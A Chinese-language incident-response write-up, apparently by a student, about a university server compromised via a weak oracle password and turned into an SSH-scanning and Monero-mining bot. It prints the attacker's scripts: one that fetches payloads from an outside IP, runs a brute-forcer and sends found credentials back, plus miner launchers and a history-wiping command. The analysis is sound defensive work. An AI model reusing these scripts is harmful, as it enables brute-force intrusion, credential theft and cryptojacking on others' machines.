/ 渗透测试

应急响应-僵尸网络挖矿

0x01 起因

12月4号,我刚到食堂坐下吃饭,群里信息中心老师说,有服务器有对外扫描行为,定位了来自oracle用户的bash命令,需要我们协助调查,服务器防火墙策略只有老师办公室可以访问,约好下午联系。吃饭的过程中开始想是什么问题导致,当时觉得是注入导致拿到了oracle用户权限,执行命令,扫描行为是对内还是对外?对内是要内网渗透?对外是僵尸网络?

0x02 检查

下午四点多,老师联系我说现在可以开始检查(这个时候我才知道我忘了去上信息安全工程的课了),因为只有他们自己的办公网络可以访问,就让我用QQ远程桌面,然而这玩意不好使,居然控制不了secureCRT,然后就只能我说命令老师执行,一开始老师给我发了一条消息:

应该是定时任务被修改了,我这边已经删除,并测试了快5分钟没出现扫描的pid了

我立马让老师执行以下su oracle,然后crontab -l看一下,确实被删掉了,然后也没备份。。。这个时候心态有点崩了,让老师执行history,看一下操作历史:

Bash History历史记录

这一段立马引起了我的关注,估摸着就是攻击者的操作,图中可以看到有很多文件,但是唯一还可以下载的文件就是http://www.godz-soldiers.xyz/pk
丢到了VirusTotal上分析,疑似是挖矿程序,一开始我以为是一个反向shell,但是为什么会有邮箱?当时对这条命令的理解不够清楚,没能理解这条命令的猥琐之处。

中间还对/var/tmp下面进行了检查,ls -l查看了存在的文件,没发现历史记录中的下载的文件,还对端口就行了检查。

后来希望通过web日志找找线索,然后在tomcat log目录下面发现日志仅存在12.4当天的文件,这里错误的以为日志被清除了。然后老师告诉我防火墙策略改了,我可以直接访问了,访问了8080端口web服务,发现是一个公开的应用系统,Liferay Portal Community Edition 6.2 CE,并且我们在其官网发现该版本存在一个RCE漏洞,错误的我们以为是这个原因,但是这之间的关联性是无法建立起来的。

0x03 启发

当天晚上去了信安技术实验课,没有继续查找原因,晚上回去后,ssh远程过去,我对root的history和oracle的history进行了检查,发现唯一的线索就是在oracle的history中的一段操作历史,我对oracle用户最近五天的文件操作进行了过滤,find / -user oracle -mtime +5,发现了这些线索:

应急响应-oracle用户最近五天文件操作历史

居然存在这些文件,当时我让老师检查/var/tmp目录时,用的命令是ls -l,没有显示隐藏文件夹,错失良机。立即对这些文件进行检查,使用stat *保存了文件的修改时间状态。查看文件内容,/tmp目录下其中一个文件内容是这样:

#!/bin/bash
echo $$ >x.pid
pass=http://45.55.143.111/images/.ssh/feedp.php
ftpx=http://45.55.143.111/images/.ssh

wget -q $pass
mv feedp.php p
Threads=350
rm -rf d.php

if [[ `uname` == 'Linux' ]]
then

wget -q http://45.55.143.111/images/.ssh/d.php
while IFS='' read -r line || [[ -n "$line" ]]; do
        rm -rf wget*
        rm -rf i
        rm -rf session.txt
        touch v
        touch n
        rm -rf interface.txt
    wget -q $ftpx/$line
    mv "$line" i
    ./bssh 200 22 10 unlimited
    echo "finish first" >>oK
    sleep 3
    cat v | while read line11 ;do wget -q http://45.55.143.111/sloboz="$line11";done
    sleep 3
    echo "" >v
done < "d.php"

else
echo die...
fi

我对涉及到的网络资源进行了检查,初步得出结论是这是对外扫描的程序。然后检查/var/tmp目录下的文件,发现是挖矿程序所在的目录:

#!/bin/bash

proc=`nproc`
ARCH=`uname -m`
HIDE="-bash"

if [ "$ARCH" == "i686" ];       then
        ./h32 -s $HIDE ./md32 -a cryptonight -o stratum+tcp://xmr-eu1.nanopool.org:14444 -u 44TYbh84mGoMSiuDx8hbdJ6vkcc64MAS9LnaQ2qoJX6dAxvguq8ZAy2HJLLNL1LX6QLfiWsQH9Snbhyno3BjBWMk6B1nh35 -p x >>/dev/null &
elif [ "$ARCH" == "x86_64" ];   then
        ./h64 -s $HIDE ./md -a cryptonight -o stratum+tcp://xmr-eu1.nanopool.org:14444 -u 44TYbh84mGoMSiuDx8hbdJ6vkcc64MAS9LnaQ2qoJX6dAxvguq8ZAy2HJLLNL1LX6QLfiWsQH9Snbhyno3BjBWMk6B1nh35 -p x >>/dev/null &
fi
echo $! > bash.pid

一个僵尸网络的雏形开始显现出来,对/tmp目录下的扫描程序进行了检查,运行bssh程序,有如下的banner信息

应急响应 恶意程序banner

通过github找到一个低版本的 https://github.com/sinphony/Educational-Purpose
开发该程序的原始仓库已经删除,通过google可以检索到最新版本的程序在sshbruteforce.com上出现过
回去问老师是否oracle用户之前是弱口令密码,老师说是的。。。我已开始问她oracle用户的密码他给我回复了一个很复杂的密码。。。

nohup ./pk -u Godz56@protonmail.com -o 46.4.120.155:45560 -p x -F; clear; history -c

这一条命令我觉得是唯一值得分析的地方吧,首先nohup是当前bash退出后,该进程会调入后台运行,分号分割命令,后一条命令在前一条命令返回后执行。我猜测这里的原意是希望pk进程被杀死后清楚历史记录,但是其实我们开启的一个bash在关闭后就会把历史记录写入.bash_history,所以还是记录上攻击者的一些命令

对于/tmp目录和/var/tmp目录下的文件,由于没有历史命令记录,也无从得知具体的来源,猜测是指定的一个Perl脚本自动产生。

0x04 总结

说实话这也是第一次做此类被攻击的应急工作,很多地方做的不好

  1. 应急响应需要多沟通,了解服务器的全面真实的运行环境,包括口令
  2. 排查过程应对简单问题优先排查
  3. 所有的猜测需要有依据支撑,否则任何推测都不能去盯死,关注所有细节
  4. 细心再细心